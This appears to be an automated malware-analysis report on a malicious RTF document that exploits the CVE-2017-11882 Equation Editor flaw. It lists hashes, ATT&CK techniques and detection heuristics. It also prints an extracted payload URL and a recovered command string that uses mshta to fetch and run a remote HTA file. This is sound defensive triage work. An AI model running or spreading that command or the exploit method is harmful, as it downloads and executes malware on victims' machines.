RTF malware analysis — malicious · 50275633d0b5dfe1

MALICIOUS

RTF

8.1 KB Authoring application: Riched20 6.3.9600 First seen: 2017-12-24

MD5: 148132d6a3e15f3aa32fd010a78c4986 SHA-1: b8b84544fff4198b89ddd6358d5876f02b71ecec SHA-256: 50275633d0b5dfe1939746c23b2bb9ff0789d863184b518f692a5ecf2ac6a272

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Equation Editor. This exploit likely leads to the execution of a second-stage payload, indicated by the extracted URL pointing to a malicious HTA file. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2018_0802-6624871-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6624871-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://gamestoredownload.download/hta/QAQk.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000107.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x107	3627 bytes
SHA-256: `0fdbc6ff0af0600a0bdf961eb60eda566099f928abf7099d1d521994d2c3c497`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://gamestoredownload.download/hta/QAQk.hta Static shellcode analysis recovered command string(s): mshta http://gamestoredownload.download/hta/QAQk.hta

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